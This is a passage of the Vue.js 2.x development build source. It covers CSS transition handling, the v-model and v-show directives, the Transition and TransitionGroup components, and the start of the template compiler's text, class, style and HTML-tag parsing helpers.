getTimeout(animationDelays, animationDurations);\n\n    var type;\n    var timeout = 0;\n    var propCount = 0;\n    /* istanbul ignore if */\n    if (expectedType === TRANSITION) {\n      if (transitionTimeout > 0) {\n        type = TRANSITION;\n        timeout = transitionTimeout;\n        propCount = transitionDurations.length;\n      }\n    } else if (expectedType === ANIMATION) {\n      if (animationTimeout > 0) {\n        type = ANIMATION;\n        timeout = animationTimeout;\n        propCount = animationDurations.length;\n      }\n    } else {\n      timeout = Math.max(transitionTimeout, animationTimeout);\n      type = timeout > 0\n        ? transitionTimeout > animationTimeout\n          ? TRANSITION\n          : ANIMATION\n        : null;\n      propCount = type\n        ? type === TRANSITION\n          ? transitionDurations.length\n          : animationDurations.length\n        : 0;\n    }\n    var hasTransform =\n      type === TRANSITION &&\n      transformRE.test(styles[transitionProp + 'Property']);\n    return {\n      type: type,\n      timeout: timeout,\n      propCount: propCount,\n      hasTransform: hasTransform\n    }\n  }\n\n  function getTimeout (delays, durations) {\n    /* istanbul ignore next */\n    while (delays.length < durations.length) {\n      delays = delays.concat(delays);\n    }\n\n    return Math.max.apply(null, durations.map(function (d, i) {\n      return toMs(d) + toMs(delays[i])\n    }))\n  }\n\n  // Old versions of Chromium (below 61.0.3163.100) formats floating pointer numbers\n  // in a locale-dependent way, using a comma instead of a dot.\n  // If comma is not replaced with a dot, the input will be rounded down (i.e. acting\n  // as a floor function) causing unexpected behaviors\n  function toMs (s) {\n    return Number(s.slice(0, -1).replace(',', '.')) * 1000\n  }\n\n  /*  */\n\n  function enter (vnode, toggleDisplay) {\n    var el = vnode.elm;\n\n    // call leave callback now\n    if (isDef(el._leaveCb)) {\n      el._leaveCb.cancelled = true;\n      el._leaveCb();\n    }\n\n    var data = resolveTransition(vnode.data.transition);\n    if (isUndef(data)) {\n      return\n    }\n\n    /* istanbul ignore if */\n    if (isDef(el._enterCb) || el.nodeType !== 1) {\n      return\n    }\n\n    var css = data.css;\n    var type = data.type;\n    var enterClass = data.enterClass;\n    var enterToClass = data.enterToClass;\n    var enterActiveClass = data.enterActiveClass;\n    var appearClass = data.appearClass;\n    var appearToClass = data.appearToClass;\n    var appearActiveClass = data.appearActiveClass;\n    var beforeEnter = data.beforeEnter;\n    var enter = data.enter;\n    var afterEnter = data.afterEnter;\n    var enterCancelled = data.enterCancelled;\n    var beforeAppear = data.beforeAppear;\n    var appear = data.appear;\n    var afterAppear = data.afterAppear;\n    var appearCancelled = data.appearCancelled;\n    var duration = data.duration;\n\n    // activeInstance will always be the <transition> component managing this\n    // transition. One edge case to check is when the <transition> is placed\n    // as the root node of a child component. In that case we need to check\n    // <transition>'s parent for appear check.\n    var context = activeInstance;\n    var transitionNode = activeInstance.$vnode;\n    while (transitionNode && transitionNode.parent) {\n      transitionNode = transitionNode.parent;\n      context = transitionNode.context;\n    }\n\n    var isAppear = !context._isMounted || !vnode.isRootInsert;\n\n    if (isAppear && !appear && appear !== '') {\n      return\n    }\n\n    var startClass = isAppear && appearClass\n      ? appearClass\n      : enterClass;\n    var activeClass = isAppear && appearActiveClass\n      ? appearActiveClass\n      : enterActiveClass;\n    var toClass = isAppear && appearToClass\n      ? appearToClass\n      : enterToClass;\n\n    var beforeEnterHook = isAppear\n      ? (beforeAppear || beforeEnter)\n      : beforeEnter;\n    var enterHook = isAppear\n      ? (typeof appear === 'function' ? appear : enter)\n      : enter;\n    var afterEnterHook = isAppear\n      ? (afterAppear || afterEnter)\n      : afterEnter;\n    var enterCancelledHook = isAppear\n      ? (appearCancelled || enterCancelled)\n      : enterCancelled;\n\n    var explicitEnterDuration = toNumber(\n      isObject(duration)\n        ? duration.enter\n        : duration\n    );\n\n    if (explicitEnterDuration != null) {\n      checkDuration(explicitEnterDuration, 'enter', vnode);\n    }\n\n    var expectsCSS = css !== false && !isIE9;\n    var userWantsControl = getHookArgumentsLength(enterHook);\n\n    var cb = el._enterCb = once(function () {\n      if (expectsCSS) {\n        removeTransitionClass(el, toClass);\n        removeTransitionClass(el, activeClass);\n      }\n      if (cb.cancelled) {\n        if (expectsCSS) {\n          removeTransitionClass(el, startClass);\n        }\n        enterCancelledHook && enterCancelledHook(el);\n      } else {\n        afterEnterHook && afterEnterHook(el);\n      }\n      el._enterCb = null;\n    });\n\n    if (!vnode.data.show) {\n      // remove pending leave element on enter by injecting an insert hook\n      mergeVNodeHook(vnode, 'insert', function () {\n        var parent = el.parentNode;\n        var pendingNode = parent && parent._pending && parent._pending[vnode.key];\n        if (pendingNode &&\n          pendingNode.tag === vnode.tag &&\n          pendingNode.elm._leaveCb\n        ) {\n          pendingNode.elm._leaveCb();\n        }\n        enterHook && enterHook(el, cb);\n      });\n    }\n\n    // start enter transition\n    beforeEnterHook && beforeEnterHook(el);\n    if (expectsCSS) {\n      addTransitionClass(el, startClass);\n      addTransitionClass(el, activeClass);\n      nextFrame(function () {\n        removeTransitionClass(el, startClass);\n        if (!cb.cancelled) {\n          addTransitionClass(el, toClass);\n          if (!userWantsControl) {\n            if (isValidDuration(explicitEnterDuration)) {\n              setTimeout(cb, explicitEnterDuration);\n            } else {\n              whenTransitionEnds(el, type, cb);\n            }\n          }\n        }\n      });\n    }\n\n    if (vnode.data.show) {\n      toggleDisplay && toggleDisplay();\n      enterHook && enterHook(el, cb);\n    }\n\n    if (!expectsCSS && !userWantsControl) {\n      cb();\n    }\n  }\n\n  function leave (vnode, rm) {\n    var el = vnode.elm;\n\n    // call enter callback now\n    if (isDef(el._enterCb)) {\n      el._enterCb.cancelled = true;\n      el._enterCb();\n    }\n\n    var data = resolveTransition(vnode.data.transition);\n    if (isUndef(data) || el.nodeType !== 1) {\n      return rm()\n    }\n\n    /* istanbul ignore if */\n    if (isDef(el._leaveCb)) {\n      return\n    }\n\n    var css = data.css;\n    var type = data.type;\n    var leaveClass = data.leaveClass;\n    var leaveToClass = data.leaveToClass;\n    var leaveActiveClass = data.leaveActiveClass;\n    var beforeLeave = data.beforeLeave;\n    var leave = data.leave;\n    var afterLeave = data.afterLeave;\n    var leaveCancelled = data.leaveCancelled;\n    var delayLeave = data.delayLeave;\n    var duration = data.duration;\n\n    var expectsCSS = css !== false && !isIE9;\n    var userWantsControl = getHookArgumentsLength(leave);\n\n    var explicitLeaveDuration = toNumber(\n      isObject(duration)\n        ? duration.leave\n        : duration\n    );\n\n    if (isDef(explicitLeaveDuration)) {\n      checkDuration(explicitLeaveDuration, 'leave', vnode);\n    }\n\n    var cb = el._leaveCb = once(function () {\n      if (el.parentNode && el.parentNode._pending) {\n        el.parentNode._pending[vnode.key] = null;\n      }\n      if (expectsCSS) {\n        removeTransitionClass(el, leaveToClass);\n        removeTransitionClass(el, leaveActiveClass);\n      }\n      if (cb.cancelled) {\n        if (expectsCSS) {\n          removeTransitionClass(el, leaveClass);\n        }\n        leaveCancelled && leaveCancelled(el);\n      } else {\n        rm();\n        afterLeave && afterLeave(el);\n      }\n      el._leaveCb = null;\n    });\n\n    if (delayLeave) {\n      delayLeave(performLeave);\n    } else {\n      performLeave();\n    }\n\n    function performLeave () {\n      // the delayed leave may have already been cancelled\n      if (cb.cancelled) {\n        return\n      }\n      // record leaving element\n      if (!vnode.data.show && el.parentNode) {\n        (el.parentNode._pending || (el.parentNode._pending = {}))[(vnode.key)] = vnode;\n      }\n      beforeLeave && beforeLeave(el);\n      if (expectsCSS) {\n        addTransitionClass(el, leaveClass);\n        addTransitionClass(el, leaveActiveClass);\n        nextFrame(function () {\n          removeTransitionClass(el, leaveClass);\n          if (!cb.cancelled) {\n            addTransitionClass(el, leaveToClass);\n            if (!userWantsControl) {\n              if (isValidDuration(explicitLeaveDuration)) {\n                setTimeout(cb, explicitLeaveDuration);\n              } else {\n                whenTransitionEnds(el, type, cb);\n              }\n            }\n          }\n        });\n      }\n      leave && leave(el, cb);\n      if (!expectsCSS && !userWantsControl) {\n        cb();\n      }\n    }\n  }\n\n  // only used in dev mode\n  function checkDuration (val, name, vnode) {\n    if (typeof val !== 'number') {\n      warn(\n        \"<transition> explicit \" + name + \" duration is not a valid number - \" +\n        \"got \" + (JSON.stringify(val)) + \".\",\n        vnode.context\n      );\n    } else if (isNaN(val)) {\n      warn(\n        \"<transition> explicit \" + name + \" duration is NaN - \" +\n        'the duration expression might be incorrect.',\n        vnode.context\n      );\n    }\n  }\n\n  function isValidDuration (val) {\n    return typeof val === 'number' && !isNaN(val)\n  }\n\n  /**\n   * Normalize a transition hook's argument length. The hook may be:\n   * - a merged hook (invoker) with the original in .fns\n   * - a wrapped component method (check ._length)\n   * - a plain function (.length)\n   */\n  function getHookArgumentsLength (fn) {\n    if (isUndef(fn)) {\n      return false\n    }\n    var invokerFns = fn.fns;\n    if (isDef(invokerFns)) {\n      // invoker\n      return getHookArgumentsLength(\n        Array.isArray(invokerFns)\n          ? invokerFns[0]\n          : invokerFns\n      )\n    } else {\n      return (fn._length || fn.length) > 1\n    }\n  }\n\n  function _enter (_, vnode) {\n    if (vnode.data.show !== true) {\n      enter(vnode);\n    }\n  }\n\n  var transition = inBrowser ? {\n    create: _enter,\n    activate: _enter,\n    remove: function remove$$1 (vnode, rm) {\n      /* istanbul ignore else */\n      if (vnode.data.show !== true) {\n        leave(vnode, rm);\n      } else {\n        rm();\n      }\n    }\n  } : {};\n\n  var platformModules = [\n    attrs,\n    klass,\n    events,\n    domProps,\n    style,\n    transition\n  ];\n\n  /*  */\n\n  // the directive module should be applied last, after all\n  // built-in modules have been applied.\n  var modules = platformModules.concat(baseModules);\n\n  var patch = createPatchFunction({ nodeOps: nodeOps, modules: modules });\n\n  /**\n   * Not type checking this file because flow doesn't like attaching\n   * properties to Elements.\n   */\n\n  /* istanbul ignore if */\n  if (isIE9) {\n    // http://www.matts411.com/post/internet-explorer-9-oninput/\n    document.addEventListener('selectionchange', function () {\n      var el = document.activeElement;\n      if (el && el.vmodel) {\n        trigger(el, 'input');\n      }\n    });\n  }\n\n  var directive = {\n    inserted: function inserted (el, binding, vnode, oldVnode) {\n      if (vnode.tag === 'select') {\n        // #6903\n        if (oldVnode.elm && !oldVnode.elm._vOptions) {\n          mergeVNodeHook(vnode, 'postpatch', function () {\n            directive.componentUpdated(el, binding, vnode);\n          });\n        } else {\n          setSelected(el, binding, vnode.context);\n        }\n        el._vOptions = [].map.call(el.options, getValue);\n      } else if (vnode.tag === 'textarea' || isTextInputType(el.type)) {\n        el._vModifiers = binding.modifiers;\n        if (!binding.modifiers.lazy) {\n          el.addEventListener('compositionstart', onCompositionStart);\n          el.addEventListener('compositionend', onCompositionEnd);\n          // Safari < 10.2 & UIWebView doesn't fire compositionend when\n          // switching focus before confirming composition choice\n          // this also fixes the issue where some browsers e.g. iOS Chrome\n          // fires \"change\" instead of \"input\" on autocomplete.\n          el.addEventListener('change', onCompositionEnd);\n          /* istanbul ignore if */\n          if (isIE9) {\n            el.vmodel = true;\n          }\n        }\n      }\n    },\n\n    componentUpdated: function componentUpdated (el, binding, vnode) {\n      if (vnode.tag === 'select') {\n        setSelected(el, binding, vnode.context);\n        // in case the options rendered by v-for have changed,\n        // it's possible that the value is out-of-sync with the rendered options.\n        // detect such cases and filter out values that no longer has a matching\n        // option in the DOM.\n        var prevOptions = el._vOptions;\n        var curOptions = el._vOptions = [].map.call(el.options, getValue);\n        if (curOptions.some(function (o, i) { return !looseEqual(o, prevOptions[i]); })) {\n          // trigger change event if\n          // no matching option found for at least one value\n          var needReset = el.multiple\n            ? binding.value.some(function (v) { return hasNoMatchingOption(v, curOptions); })\n            : binding.value !== binding.oldValue && hasNoMatchingOption(binding.value, curOptions);\n          if (needReset) {\n            trigger(el, 'change');\n          }\n        }\n      }\n    }\n  };\n\n  function setSelected (el, binding, vm) {\n    actuallySetSelected(el, binding, vm);\n    /* istanbul ignore if */\n    if (isIE || isEdge) {\n      setTimeout(function () {\n        actuallySetSelected(el, binding, vm);\n      }, 0);\n    }\n  }\n\n  function actuallySetSelected (el, binding, vm) {\n    var value = binding.value;\n    var isMultiple = el.multiple;\n    if (isMultiple && !Array.isArray(value)) {\n      warn(\n        \"<select multiple v-model=\\\"\" + (binding.expression) + \"\\\"> \" +\n        \"expects an Array value for its binding, but got \" + (Object.prototype.toString.call(value).slice(8, -1)),\n        vm\n      );\n      return\n    }\n    var selected, option;\n    for (var i = 0, l = el.options.length; i < l; i++) {\n      option = el.options[i];\n      if (isMultiple) {\n        selected = looseIndexOf(value, getValue(option)) > -1;\n        if (option.selected !== selected) {\n          option.selected = selected;\n        }\n      } else {\n        if (looseEqual(getValue(option), value)) {\n          if (el.selectedIndex !== i) {\n            el.selectedIndex = i;\n          }\n          return\n        }\n      }\n    }\n    if (!isMultiple) {\n      el.selectedIndex = -1;\n    }\n  }\n\n  function hasNoMatchingOption (value, options) {\n    return options.every(function (o) { return !looseEqual(o, value); })\n  }\n\n  function getValue (option) {\n    return '_value' in option\n      ? option._value\n      : option.value\n  }\n\n  function onCompositionStart (e) {\n    e.target.composing = true;\n  }\n\n  function onCompositionEnd (e) {\n    // prevent triggering an input event for no reason\n    if (!e.target.composing) { return }\n    e.target.composing = false;\n    trigger(e.target, 'input');\n  }\n\n  function trigger (el, type) {\n    var e = document.createEvent('HTMLEvents');\n    e.initEvent(type, true, true);\n    el.dispatchEvent(e);\n  }\n\n  /*  */\n\n  // recursively search for possible transition defined inside the component root\n  function locateNode (vnode) {\n    return vnode.componentInstance && (!vnode.data || !vnode.data.transition)\n      ? locateNode(vnode.componentInstance._vnode)\n      : vnode\n  }\n\n  var show = {\n    bind: function bind (el, ref, vnode) {\n      var value = ref.value;\n\n      vnode = locateNode(vnode);\n      var transition$$1 = vnode.data && vnode.data.transition;\n      var originalDisplay = el.__vOriginalDisplay =\n        el.style.display === 'none' ? '' : el.style.display;\n      if (value && transition$$1) {\n        vnode.data.show = true;\n        enter(vnode, function () {\n          el.style.display = originalDisplay;\n        });\n      } else {\n        el.style.display = value ? originalDisplay : 'none';\n      }\n    },\n\n    update: function update (el, ref, vnode) {\n      var value = ref.value;\n      var oldValue = ref.oldValue;\n\n      /* istanbul ignore if */\n      if (!value === !oldValue) { return }\n      vnode = locateNode(vnode);\n      var transition$$1 = vnode.data && vnode.data.transition;\n      if (transition$$1) {\n        vnode.data.show = true;\n        if (value) {\n          enter(vnode, function () {\n            el.style.display = el.__vOriginalDisplay;\n          });\n        } else {\n          leave(vnode, function () {\n            el.style.display = 'none';\n          });\n        }\n      } else {\n        el.style.display = value ? el.__vOriginalDisplay : 'none';\n      }\n    },\n\n    unbind: function unbind (\n      el,\n      binding,\n      vnode,\n      oldVnode,\n      isDestroy\n    ) {\n      if (!isDestroy) {\n        el.style.display = el.__vOriginalDisplay;\n      }\n    }\n  };\n\n  var platformDirectives = {\n    model: directive,\n    show: show\n  };\n\n  /*  */\n\n  var transitionProps = {\n    name: String,\n    appear: Boolean,\n    css: Boolean,\n    mode: String,\n    type: String,\n    enterClass: String,\n    leaveClass: String,\n    enterToClass: String,\n    leaveToClass: String,\n    enterActiveClass: String,\n    leaveActiveClass: String,\n    appearClass: String,\n    appearActiveClass: String,\n    appearToClass: String,\n    duration: [Number, String, Object]\n  };\n\n  // in case the child is also an abstract component, e.g. <keep-alive>\n  // we want to recursively retrieve the real component to be rendered\n  function getRealChild (vnode) {\n    var compOptions = vnode && vnode.componentOptions;\n    if (compOptions && compOptions.Ctor.options.abstract) {\n      return getRealChild(getFirstComponentChild(compOptions.children))\n    } else {\n      return vnode\n    }\n  }\n\n  function extractTransitionData (comp) {\n    var data = {};\n    var options = comp.$options;\n    // props\n    for (var key in options.propsData) {\n      data[key] = comp[key];\n    }\n    // events.\n    // extract listeners and pass them directly to the transition methods\n    var listeners = options._parentListeners;\n    for (var key$1 in listeners) {\n      data[camelize(key$1)] = listeners[key$1];\n    }\n    return data\n  }\n\n  function placeholder (h, rawChild) {\n    if (/\\d-keep-alive$/.test(rawChild.tag)) {\n      return h('keep-alive', {\n        props: rawChild.componentOptions.propsData\n      })\n    }\n  }\n\n  function hasParentTransition (vnode) {\n    while ((vnode = vnode.parent)) {\n      if (vnode.data.transition) {\n        return true\n      }\n    }\n  }\n\n  function isSameChild (child, oldChild) {\n    return oldChild.key === child.key && oldChild.tag === child.tag\n  }\n\n  var isNotTextNode = function (c) { return c.tag || isAsyncPlaceholder(c); };\n\n  var isVShowDirective = function (d) { return d.name === 'show'; };\n\n  var Transition = {\n    name: 'transition',\n    props: transitionProps,\n    abstract: true,\n\n    render: function render (h) {\n      var this$1 = this;\n\n      var children = this.$slots.default;\n      if (!children) {\n        return\n      }\n\n      // filter out text nodes (possible whitespaces)\n      children = children.filter(isNotTextNode);\n      /* istanbul ignore if */\n      if (!children.length) {\n        return\n      }\n\n      // warn multiple elements\n      if (children.length > 1) {\n        warn(\n          '<transition> can only be used on a single element. Use ' +\n          '<transition-group> for lists.',\n          this.$parent\n        );\n      }\n\n      var mode = this.mode;\n\n      // warn invalid mode\n      if (mode && mode !== 'in-out' && mode !== 'out-in'\n      ) {\n        warn(\n          'invalid <transition> mode: ' + mode,\n          this.$parent\n        );\n      }\n\n      var rawChild = children[0];\n\n      // if this is a component root node and the component's\n      // parent container node also has transition, skip.\n      if (hasParentTransition(this.$vnode)) {\n        return rawChild\n      }\n\n      // apply transition data to child\n      // use getRealChild() to ignore abstract components e.g. keep-alive\n      var child = getRealChild(rawChild);\n      /* istanbul ignore if */\n      if (!child) {\n        return rawChild\n      }\n\n      if (this._leaving) {\n        return placeholder(h, rawChild)\n      }\n\n      // ensure a key that is unique to the vnode type and to this transition\n      // component instance. This key will be used to remove pending leaving nodes\n      // during entering.\n      var id = \"__transition-\" + (this._uid) + \"-\";\n      child.key = child.key == null\n        ? child.isComment\n          ? id + 'comment'\n          : id + child.tag\n        : isPrimitive(child.key)\n          ? (String(child.key).indexOf(id) === 0 ? child.key : id + child.key)\n          : child.key;\n\n      var data = (child.data || (child.data = {})).transition = extractTransitionData(this);\n      var oldRawChild = this._vnode;\n      var oldChild = getRealChild(oldRawChild);\n\n      // mark v-show\n      // so that the transition module can hand over the control to the directive\n      if (child.data.directives && child.data.directives.some(isVShowDirective)) {\n        child.data.show = true;\n      }\n\n      if (\n        oldChild &&\n        oldChild.data &&\n        !isSameChild(child, oldChild) &&\n        !isAsyncPlaceholder(oldChild) &&\n        // #6687 component root is a comment node\n        !(oldChild.componentInstance && oldChild.componentInstance._vnode.isComment)\n      ) {\n        // replace old child transition data with fresh one\n        // important for dynamic transitions!\n        var oldData = oldChild.data.transition = extend({}, data);\n        // handle transition mode\n        if (mode === 'out-in') {\n          // return placeholder node and queue update when leave finishes\n          this._leaving = true;\n          mergeVNodeHook(oldData, 'afterLeave', function () {\n            this$1._leaving = false;\n            this$1.$forceUpdate();\n          });\n          return placeholder(h, rawChild)\n        } else if (mode === 'in-out') {\n          if (isAsyncPlaceholder(child)) {\n            return oldRawChild\n          }\n          var delayedLeave;\n          var performLeave = function () { delayedLeave(); };\n          mergeVNodeHook(data, 'afterEnter', performLeave);\n          mergeVNodeHook(data, 'enterCancelled', performLeave);\n          mergeVNodeHook(oldData, 'delayLeave', function (leave) { delayedLeave = leave; });\n        }\n      }\n\n      return rawChild\n    }\n  };\n\n  /*  */\n\n  var props = extend({\n    tag: String,\n    moveClass: String\n  }, transitionProps);\n\n  delete props.mode;\n\n  var TransitionGroup = {\n    props: props,\n\n    beforeMount: function beforeMount () {\n      var this$1 = this;\n\n      var update = this._update;\n      this._update = function (vnode, hydrating) {\n        var restoreActiveInstance = setActiveInstance(this$1);\n        // force removing pass\n        this$1.__patch__(\n          this$1._vnode,\n          this$1.kept,\n          false, // hydrating\n          true // removeOnly (!important, avoids unnecessary moves)\n        );\n        this$1._vnode = this$1.kept;\n        restoreActiveInstance();\n        update.call(this$1, vnode, hydrating);\n      };\n    },\n\n    render: function render (h) {\n      var tag = this.tag || this.$vnode.data.tag || 'span';\n      var map = Object.create(null);\n      var prevChildren = this.prevChildren = this.children;\n      var rawChildren = this.$slots.default || [];\n      var children = this.children = [];\n      var transitionData = extractTransitionData(this);\n\n      for (var i = 0; i < rawChildren.length; i++) {\n        var c = rawChildren[i];\n        if (c.tag) {\n          if (c.key != null && String(c.key).indexOf('__vlist') !== 0) {\n            children.push(c);\n            map[c.key] = c\n            ;(c.data || (c.data = {})).transition = transitionData;\n          } else {\n            var opts = c.componentOptions;\n            var name = opts ? (opts.Ctor.options.name || opts.tag || '') : c.tag;\n            warn((\"<transition-group> children must be keyed: <\" + name + \">\"));\n          }\n        }\n      }\n\n      if (prevChildren) {\n        var kept = [];\n        var removed = [];\n        for (var i$1 = 0; i$1 < prevChildren.length; i$1++) {\n          var c$1 = prevChildren[i$1];\n          c$1.data.transition = transitionData;\n          c$1.data.pos = c$1.elm.getBoundingClientRect();\n          if (map[c$1.key]) {\n            kept.push(c$1);\n          } else {\n            removed.push(c$1);\n          }\n        }\n        this.kept = h(tag, null, kept);\n        this.removed = removed;\n      }\n\n      return h(tag, null, children)\n    },\n\n    updated: function updated () {\n      var children = this.prevChildren;\n      var moveClass = this.moveClass || ((this.name || 'v') + '-move');\n      if (!children.length || !this.hasMove(children[0].elm, moveClass)) {\n        return\n      }\n\n      // we divide the work into three loops to avoid mixing DOM reads and writes\n      // in each iteration - which helps prevent layout thrashing.\n      children.forEach(callPendingCbs);\n      children.forEach(recordPosition);\n      children.forEach(applyTranslation);\n\n      // force reflow to put everything in position\n      // assign to this to avoid being removed in tree-shaking\n      // $flow-disable-line\n      this._reflow = document.body.offsetHeight;\n\n      children.forEach(function (c) {\n        if (c.data.moved) {\n          var el = c.elm;\n          var s = el.style;\n          addTransitionClass(el, moveClass);\n          s.transform = s.WebkitTransform = s.transitionDuration = '';\n          el.addEventListener(transitionEndEvent, el._moveCb = function cb (e) {\n            if (e && e.target !== el) {\n              return\n            }\n            if (!e || /transform$/.test(e.propertyName)) {\n              el.removeEventListener(transitionEndEvent, cb);\n              el._moveCb = null;\n              removeTransitionClass(el, moveClass);\n            }\n          });\n        }\n      });\n    },\n\n    methods: {\n      hasMove: function hasMove (el, moveClass) {\n        /* istanbul ignore if */\n        if (!hasTransition) {\n          return false\n        }\n        /* istanbul ignore if */\n        if (this._hasMove) {\n          return this._hasMove\n        }\n        // Detect whether an element with the move class applied has\n        // CSS transitions. Since the element may be inside an entering\n        // transition at this very moment, we make a clone of it and remove\n        // all other transition classes applied to ensure only the move class\n        // is applied.\n        var clone = el.cloneNode();\n        if (el._transitionClasses) {\n          el._transitionClasses.forEach(function (cls) { removeClass(clone, cls); });\n        }\n        addClass(clone, moveClass);\n        clone.style.display = 'none';\n        this.$el.appendChild(clone);\n        var info = getTransitionInfo(clone);\n        this.$el.removeChild(clone);\n        return (this._hasMove = info.hasTransform)\n      }\n    }\n  };\n\n  function callPendingCbs (c) {\n    /* istanbul ignore if */\n    if (c.elm._moveCb) {\n      c.elm._moveCb();\n    }\n    /* istanbul ignore if */\n    if (c.elm._enterCb) {\n      c.elm._enterCb();\n    }\n  }\n\n  function recordPosition (c) {\n    c.data.newPos = c.elm.getBoundingClientRect();\n  }\n\n  function applyTranslation (c) {\n    var oldPos = c.data.pos;\n    var newPos = c.data.newPos;\n    var dx = oldPos.left - newPos.left;\n    var dy = oldPos.top - newPos.top;\n    if (dx || dy) {\n      c.data.moved = true;\n      var s = c.elm.style;\n      s.transform = s.WebkitTransform = \"translate(\" + dx + \"px,\" + dy + \"px)\";\n      s.transitionDuration = '0s';\n    }\n  }\n\n  var platformComponents = {\n    Transition: Transition,\n    TransitionGroup: TransitionGroup\n  };\n\n  /*  */\n\n  // install platform specific utils\n  Vue.config.mustUseProp = mustUseProp;\n  Vue.config.isReservedTag = isReservedTag;\n  Vue.config.isReservedAttr = isReservedAttr;\n  Vue.config.getTagNamespace = getTagNamespace;\n  Vue.config.isUnknownElement = isUnknownElement;\n\n  // install platform runtime directives & components\n  extend(Vue.options.directives, platformDirectives);\n  extend(Vue.options.components, platformComponents);\n\n  // install platform patch function\n  Vue.prototype.__patch__ = inBrowser ? patch : noop;\n\n  // public mount method\n  Vue.prototype.$mount = function (\n    el,\n    hydrating\n  ) {\n    el = el && inBrowser ? query(el) : undefined;\n    return mountComponent(this, el, hydrating)\n  };\n\n  // devtools global hook\n  /* istanbul ignore next */\n  if (inBrowser) {\n    setTimeout(function () {\n      if (config.devtools) {\n        if (devtools) {\n          devtools.emit('init', Vue);\n        } else if (\n          isChrome\n        ) {\n          console[console.info ? 'info' : 'log'](\n            'Download the Vue Devtools extension for a better development experience:\\n' +\n            'https://github.com/vuejs/vue-devtools'\n          );\n        }\n      }\n      if (config.productionTip !== false &&\n        typeof console !== 'undefined'\n      ) {\n        console[console.info ? 'info' : 'log'](\n          \"You are running Vue in development mode.\\n\" +\n          \"Make sure to turn on production mode when deploying for production.\\n\" +\n          \"See more tips at https://vuejs.org/guide/deployment.html\"\n        );\n      }\n    }, 0);\n  }\n\n  /*  */\n\n  var defaultTagRE = /\\{\\{((?:.|\\r?\\n)+?)\\}\\}/g;\n  var regexEscapeRE = /[-.*+?^${}()|[\\]\\/\\\\]/g;\n\n  var buildRegex = cached(function (delimiters) {\n    var open = delimiters[0].replace(regexEscapeRE, '\\\\$&');\n    var close = delimiters[1].replace(regexEscapeRE, '\\\\$&');\n    return new RegExp(open + '((?:.|\\\\n)+?)' + close, 'g')\n  });\n\n\n\n  function parseText (\n    text,\n    delimiters\n  ) {\n    var tagRE = delimiters ? buildRegex(delimiters) : defaultTagRE;\n    if (!tagRE.test(text)) {\n      return\n    }\n    var tokens = [];\n    var rawTokens = [];\n    var lastIndex = tagRE.lastIndex = 0;\n    var match, index, tokenValue;\n    while ((match = tagRE.exec(text))) {\n      index = match.index;\n      // push text token\n      if (index > lastIndex) {\n        rawTokens.push(tokenValue = text.slice(lastIndex, index));\n        tokens.push(JSON.stringify(tokenValue));\n      }\n      // tag token\n      var exp = parseFilters(match[1].trim());\n      tokens.push((\"_s(\" + exp + \")\"));\n      rawTokens.push({ '@binding': exp });\n      lastIndex = index + match[0].length;\n    }\n    if (lastIndex < text.length) {\n      rawTokens.push(tokenValue = text.slice(lastIndex));\n      tokens.push(JSON.stringify(tokenValue));\n    }\n    return {\n      expression: tokens.join('+'),\n      tokens: rawTokens\n    }\n  }\n\n  /*  */\n\n  function transformNode (el, options) {\n    var warn = options.warn || baseWarn;\n    var staticClass = getAndRemoveAttr(el, 'class');\n    if (staticClass) {\n      var res = parseText(staticClass, options.delimiters);\n      if (res) {\n        warn(\n          \"class=\\\"\" + staticClass + \"\\\": \" +\n          'Interpolation inside attributes has been removed. ' +\n          'Use v-bind or the colon shorthand instead. For example, ' +\n          'instead of <div class=\"{{ val }}\">, use <div :class=\"val\">.'\n        );\n      }\n    }\n    if (staticClass) {\n      el.staticClass = JSON.stringify(staticClass);\n    }\n    var classBinding = getBindingAttr(el, 'class', false /* getStatic */);\n    if (classBinding) {\n      el.classBinding = classBinding;\n    }\n  }\n\n  function genData (el) {\n    var data = '';\n    if (el.staticClass) {\n      data += \"staticClass:\" + (el.staticClass) + \",\";\n    }\n    if (el.classBinding) {\n      data += \"class:\" + (el.classBinding) + \",\";\n    }\n    return data\n  }\n\n  var klass$1 = {\n    staticKeys: ['staticClass'],\n    transformNode: transformNode,\n    genData: genData\n  };\n\n  /*  */\n\n  function transformNode$1 (el, options) {\n    var warn = options.warn || baseWarn;\n    var staticStyle = getAndRemoveAttr(el, 'style');\n    if (staticStyle) {\n      /* istanbul ignore if */\n      {\n        var res = parseText(staticStyle, options.delimiters);\n        if (res) {\n          warn(\n            \"style=\\\"\" + staticStyle + \"\\\": \" +\n            'Interpolation inside attributes has been removed. ' +\n            'Use v-bind or the colon shorthand instead. For example, ' +\n            'instead of <div style=\"{{ val }}\">, use <div :style=\"val\">.'\n          );\n        }\n      }\n      el.staticStyle = JSON.stringify(parseStyleText(staticStyle));\n    }\n\n    var styleBinding = getBindingAttr(el, 'style', false /* getStatic */);\n    if (styleBinding) {\n      el.styleBinding = styleBinding;\n    }\n  }\n\n  function genData$1 (el) {\n    var data = '';\n    if (el.staticStyle) {\n      data += \"staticStyle:\" + (el.staticStyle) + \",\";\n    }\n    if (el.styleBinding) {\n      data += \"style:(\" + (el.styleBinding) + \"),\";\n    }\n    return data\n  }\n\n  var style$1 = {\n    staticKeys: ['staticStyle'],\n    transformNode: transformNode$1,\n    genData: genData$1\n  };\n\n  /*  */\n\n  var decoder;\n\n  var he = {\n    decode: function decode (html) {\n      decoder = decoder || document.createElement('div');\n      decoder.innerHTML = html;\n      return decoder.textContent\n    }\n  };\n\n  /*  */\n\n  var isUnaryTag = makeMap(\n    'area,base,br,col,embed,frame,hr,img,input,isindex,keygen,' +\n    'link,meta,param,source,track,wbr'\n  );\n\n  // Elements that you can, intentionally, leave open\n  // (and which close themselves)\n  var canBeLeftOpenTag = makeMap(\n    'colgroup,dd,dt,li,options,p,td,tfoot,th,thead,tr,source'\n  );\n\n  // HTML5 tags https://html.spec.whatwg.org/multipage/indices.html#elements-3\n  // Phrasing Content https://html.spec.whatwg.org/multipage/dom.html#phrasing-content\n  var isNonPhrasingTag = makeMap(\n    'address,article,aside,base,blockquote,body,caption,col,colgroup,dd,' +\n    'details,dialog,div,dl,dt,fieldset,figcaption,figure,footer,form,' +\n    'h1,h2,h3,h4,h5,h6,head,header,hgroup,hr,html,legend,li,menuitem,meta,' +\n    'optgroup,option,param,rp,rt,source,style,summary,tbody,td,tfoot,th,thead,' +\n    'title,tr,track'\n  );\n\n  /**\n   * Not type-checking this file because it's mostly vendor code.\n   */\n\n  // Regular Expressions for parsing tags and attributes\n  var attribute = 